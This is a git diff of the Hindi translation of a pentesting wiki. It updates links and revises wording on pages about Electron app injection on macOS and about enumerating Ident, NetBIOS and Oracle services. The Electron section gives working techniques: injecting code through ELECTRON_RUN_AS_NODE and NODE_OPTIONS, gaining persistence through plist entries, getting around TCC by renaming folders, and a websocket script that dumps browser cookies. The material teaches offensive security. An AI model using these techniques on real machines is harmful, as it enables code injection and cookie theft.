diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index fb3efcc74..60a9a9df7 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
-- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
+- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@@ -692,9 +692,9 @@
# ⛈️ Cloud Security
-- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
-- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
-- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
+- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
+- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
+- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
index 33a55ad00..c6d8bf818 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -4,8 +4,8 @@
## Basic Information
-यदि आप नहीं जानते कि Electron क्या है, तो आप [**यहां बहुत सारी जानकारी पा सकते हैं**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)। लेकिन अभी के लिए बस इतना जान लें कि Electron **node** चलाता है।\
-और node के पास कुछ **parameters** और **env variables** हैं जिन्हें **अन्य कोड निष्पादित करने** के लिए उपयोग किया जा सकता है, जो निर्दिष्ट फ़ाइल के अलावा हैं।
+यदि आप नहीं जानते कि Electron क्या है, तो आप [**यहां बहुत सारी जानकारी पा सकते हैं**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation)। लेकिन अभी के लिए बस इतना जान लें कि Electron **node** चलाता है।\
+और node के कुछ **parameters** और **env variables** हैं जिन्हें **अन्य कोड निष्पादित करने** के लिए उपयोग किया जा सकता है, जो निर्दिष्ट फ़ाइल के अलावा हैं।
### Electron Fuses
@@ -13,8 +13,8 @@
- **`RunAsNode`**: यदि अक्षम किया गया, तो यह कोड इंजेक्ट करने के लिए env var **`ELECTRON_RUN_AS_NODE`** के उपयोग को रोकता है।
- **`EnableNodeCliInspectArguments`**: यदि अक्षम किया गया, तो `--inspect`, `--inspect-brk` जैसे params का सम्मान नहीं किया जाएगा। इस तरह कोड इंजेक्ट करने से बचना।
-- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को इस फ़ाइल की सामग्री को संशोधित करके रोकना।
-- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने की खोज करने के बजाय: **`app.asar`**, **`app`** और अंततः **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **अमान्य कोड लोड करना** **असंभव** है।
+- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को रोकना इस फ़ाइल की सामग्री को संशोधित करके।
+- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने के लिए खोजने के बजाय: **`app.asar`**, **`app`** और अंत में **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **गैर-मान्य कोड लोड करना** **असंभव** है।
- **`LoadBrowserProcessSpecificV8Snapshot`**: यदि सक्षम किया गया, तो ब्राउज़र प्रक्रिया अपने V8 स्नैपशॉट के लिए `browser_v8_context_snapshot.bin` नामक फ़ाइल का उपयोग करती है।
एक और दिलचस्प फ्यूज़ जो कोड इंजेक्शन को रोकने वाला नहीं है:
@@ -37,16 +37,16 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
-### Electron फ्यूज़ को संशोधित करना
+### Modifying Electron Fuses
-जैसा कि [**दस्तावेज़ में उल्लेख किया गया है**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Fuses** की कॉन्फ़िगरेशन **Electron बाइनरी** के अंदर कॉन्फ़िगर की जाती है जिसमें कहीं **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** स्ट्रिंग होती है।
+जैसा कि [**docs में उल्लेख किया गया है**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Fuses** की कॉन्फ़िगरेशन **Electron binary** के अंदर कॉन्फ़िगर की जाती है जिसमें कहीं **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** स्ट्रिंग होती है।
macOS अनुप्रयोगों में यह आमतौर पर `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` में होता है।
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
-आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में एक संख्या "0" या "1" देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1`) को **फ्यूज़ मानों को संशोधित करने** के लिए संशोधित करें।
+आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में "0" या "1" संख्या देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1` है) को **फ्यूज़ मानों को संशोधित** करने के लिए बदलें।
@@ -54,7 +54,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
## RCE कोड को Electron एप्लिकेशनों में जोड़ना
-ऐसा हो सकता है कि **बाहरी JS/HTML फ़ाइलें** हों जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
+ऐसे **बाहरी JS/HTML फ़ाइलें** हो सकती हैं जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
> [!CAUTION]
> हालाँकि, वर्तमान में 2 सीमाएँ हैं:
@@ -62,11 +62,11 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
> - एक ऐप को संशोधित करने के लिए **`kTCCServiceSystemPolicyAppBundles`** अनुमति **आवश्यक** है, इसलिए डिफ़ॉल्ट रूप से यह अब संभव नहीं है।
> - संकलित **`asap`** फ़ाइल में आमतौर पर फ्यूज़ **`embeddedAsarIntegrityValidation`** `और` **`onlyLoadAppFromAsar`** `सक्षम` होते हैं
>
-> इस हमले के रास्ते को अधिक जटिल (या असंभव) बना रहा है।
+> जिससे इस हमले के रास्ते को और अधिक जटिल (या असंभव) बना दिया गया है।
-ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को दरकिनार करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर **`app.app/Contents`** का नाम बदलकर **`app.app/NotCon`** करना, अपने **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करना, इसे फिर से **`app.app/Contents`** नाम देना और इसे निष्पादित करना।
+ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को बायपास करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर का नाम **`app.app/Contents`** से **`app.app/NotCon`** में बदलकर, **आपके** **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करके, इसे फिर से **`app.app/Contents`** नाम देकर और इसे निष्पादित करके।
-आप asar फ़ाइल से कोड को निकालने के लिए:
+आप asar फ़ाइल से कोड को अनपैक कर सकते हैं:
```bash
npx asar extract app.asar app-decomp
```
@@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE`
-[**दस्तावेज़ों**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) के अनुसार, यदि यह env वेरिएबल सेट किया गया है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
+According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), यदि यह env वेरिएबल सेट है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@@ -84,9 +84,9 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
-> यदि फ्यूज़ **`RunAsNode`** बंद है तो env var **`ELECTRON_RUN_AS_NODE`** को नजरअंदाज किया जाएगा, और यह काम नहीं करेगा।
+> यदि फ्यूज़ **`RunAsNode`** अक्षम है, तो env var **`ELECTRON_RUN_AS_NODE`** को अनदेखा किया जाएगा, और यह काम नहीं करेगा।
-### ऐप plist से इंजेक्शन
+### ऐप प्लिस्ट से इंजेक्शन
जैसा कि [**यहां प्रस्तावित है**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), आप इस env वेरिएबल का दुरुपयोग एक plist में स्थिरता बनाए रखने के लिए कर सकते हैं:
```xml
@@ -123,13 +123,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
-> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप लॉन्च करते समय env var **NODE_OPTIONS** को **अनदेखा** करेगा जब तक कि env वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न किया गया हो, जिसे फ्यूज़ **`RunAsNode`** के अक्षम होने पर भी **अनदेखा** किया जाएगा।
+> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप **NODE_OPTIONS** पर्यावरण चर को **अनदेखा** करेगा जब इसे लॉन्च किया जाएगा जब तक कि पर्यावरण चर **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** अक्षम है।
>
> यदि आप **`ELECTRON_RUN_AS_NODE`** सेट नहीं करते हैं, तो आपको **त्रुटि** मिलेगी: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
### ऐप plist से इंजेक्शन
-आप इन कुंजियों को जोड़कर स्थिरता बनाए रखने के लिए plist में इस env वेरिएबल का दुरुपयोग कर सकते हैं:
+आप इन कुंजियों को जोड़कर स्थिरता बनाए रखने के लिए plist में इस पर्यावरण चर का दुरुपयोग कर सकते हैं:
```xml
EnvironmentVariables
@@ -145,23 +145,21 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
```
-## RCE के साथ निरीक्षण
+## RCE with inspecting
-के अनुसार [**यह**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यदि आप **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** जैसे फ्लैग के साथ एक Electron एप्लिकेशन चलाते हैं, तो एक **डिबग पोर्ट खुला होगा** ताकि आप इससे कनेक्ट कर सकें (उदाहरण के लिए Chrome में `chrome://inspect`) और आप **इस पर कोड इंजेक्ट कर सकेंगे** या यहां तक कि नए प्रोसेस भी लॉन्च कर सकेंगे।\
-उदाहरण के लिए:
+According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यदि आप **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** जैसे फ्लैग के साथ एक Electron एप्लिकेशन चलाते हैं, तो एक **debug port खुल जाएगा** ताकि आप इससे कनेक्ट कर सकें (उदाहरण के लिए Chrome में `chrome://inspect`) और आप इसमें **कोड इंजेक्ट** कर सकेंगे या यहां तक कि नए प्रोसेस भी लॉन्च कर सकेंगे।\
+For example:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
-> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि env वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** बंद है।
+> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि एन्वायरनमेंट वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे फ्यूज़ **`RunAsNode`** बंद होने पर भी **अनदेखा** किया जाएगा।
>
-> हालाँकि, आप अभी भी **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग कर सकते हैं लेकिन पिछले पेलोड अन्य प्रक्रियाओं को निष्पादित करने के लिए काम नहीं करेगा।
+> हालाँकि, आप **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग करके कुछ जानकारी चुरा सकते हैं जैसे कि **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)।
-पैरामीटर **`--remote-debugging-port=9222`** का उपयोग करके इलेक्ट्रॉन ऐप से कुछ जानकारी चुराना संभव है जैसे **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)।
-
-आप यह सीख सकते हैं [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें जैसे:
+आप यह सीख सकते हैं कि ऐसा कैसे करना है [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें जैसे:
```python
import websocket
ws = websocket.WebSocket()
@@ -169,11 +167,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
-इस [**ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695) में, इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड** कर सके।
+In [**इस ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695), इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड कर सके**।
### ऐप प्लिस्ट से इंजेक्शन
-आप इन कुंजियों को जोड़कर स्थिरता बनाए रखने के लिए एक plist में इस env वेरिएबल का दुरुपयोग कर सकते हैं:
+आप इस env वेरिएबल का दुरुपयोग एक plist में स्थिरता बनाए रखने के लिए इन कुंजियों को जोड़कर कर सकते हैं:
```xml
ProgramArguments
@@ -190,11 +188,11 @@ print(ws.recv()
## TCC Bypass पुराने संस्करणों का दुरुपयोग
> [!TIP]
-> macOS का TCC डेमन निष्पादित एप्लिकेशन के संस्करण की जांच नहीं करता है। इसलिए यदि आप **Electron एप्लिकेशन में कोड इंजेक्ट नहीं कर सकते** किसी भी पिछले तकनीकों के साथ, तो आप APP का एक पिछला संस्करण डाउनलोड कर सकते हैं और उस पर कोड इंजेक्ट कर सकते हैं क्योंकि इसे अभी भी TCC विशेषाधिकार मिलेंगे (जब तक कि Trust Cache इसे रोक न दे)।
+> macOS का TCC डेमन एप्लिकेशन के निष्पादित संस्करण की जांच नहीं करता है। इसलिए यदि आप **Electron एप्लिकेशन में कोड इंजेक्ट नहीं कर सकते** किसी भी पिछले तकनीकों के साथ, तो आप APP का एक पिछला संस्करण डाउनलोड कर सकते हैं और उस पर कोड इंजेक्ट कर सकते हैं क्योंकि इसे अभी भी TCC विशेषाधिकार मिलेंगे (जब तक कि Trust Cache इसे रोक न दे)।
## गैर-JS कोड चलाना
-पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **अपने TCC अनुमतियों को विरासत में लेती हैं**।\
+पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **उनकी TCC अनुमतियाँ विरासत में लेती हैं**।\
इसलिए, यदि आप कैमरा या माइक्रोफ़ोन तक पहुँचने के लिए विशेषाधिकारों का दुरुपयोग करना चाहते हैं, तो आप बस **प्रक्रिया से एक और बाइनरी चला सकते हैं**।
## स्वचालित इंजेक्शन
diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md
index 72e8f62d6..9bbdafae0 100644
--- a/src/network-services-pentesting/113-pentesting-ident.md
+++ b/src/network-services-pentesting/113-pentesting-ident.md
@@ -62,11 +62,11 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
- `oident`
-## फ़ाइलें
+## Files
identd.conf
-## HackTricks स्वचालित आदेश
+## HackTricks Automatic Commands
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.
Port_Number: 113 #Comma separated if there is more than one.
@@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
-https://book.hacktricks.xyz/pentesting/113-pentesting-ident
+https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users
diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md
index 6f2766ca7..2b656b92e 100644
--- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md
+++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md
@@ -14,7 +14,7 @@
### Name Service
-किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसका एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service server** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की सूची बनाने के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
+किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसे एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की सूची बनाने के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@@ -25,9 +25,9 @@ nmblookup -A
nbtscan /30
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n
```
-### Datagram वितरण सेवा
+### Datagram Distribution Service
-NetBIOS datagrams बिना कनेक्शन के संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
+NetBIOS datagrams कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@@ -38,7 +38,7 @@ PORT STATE SERVICE VERSION
एक सत्र के भीतर डेटा संचरण में **Session Message packets** शामिल होते हैं, और सत्रों को TCP कनेक्शन बंद करके समाप्त किया जाता है।
-ये सेवाएँ **NetBIOS** कार्यक्षमता के लिए अनिवार्य हैं, जो नेटवर्क के पार कुशल संचार और संसाधन साझा करने को सक्षम बनाती हैं। TCP और IP प्रोटोकॉल के बारे में अधिक जानकारी के लिए, उनके संबंधित [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) और [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) पृष्ठों पर जाएँ।
+ये सेवाएँ **NetBIOS** कार्यक्षमता के लिए अनिवार्य हैं, जो नेटवर्क के पार कुशल संचार और संसाधन साझा करने को सक्षम बनाती हैं। TCP और IP प्रोटोकॉल के बारे में अधिक जानकारी के लिए, उनके संबंधित [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) और [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) पृष्ठों को देखें।
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
-https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
+https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names
diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
index 461cbe04e..36ced8fab 100644
--- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
+++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
@@ -4,7 +4,7 @@
## Basic Information
-Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
+Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 1522–1529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
@@ -15,7 +15,7 @@ Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेट
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
-3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) खोजें।
+3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।
@@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
-https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
+https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
index 7010655aa..a910fc019 100644
--- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
+++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
@@ -4,7 +4,7 @@
## Basic Information
-Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation से है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
+Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle की जानकारी प्राप्त करते समय पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 1522–1529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
@@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
-https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
+https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md
index c2ff97bf6..9b218621c 100644
--- a/src/network-services-pentesting/43-pentesting-whois.md
+++ b/src/network-services-pentesting/43-pentesting-whois.md
@@ -4,7 +4,7 @@
## Basic Information
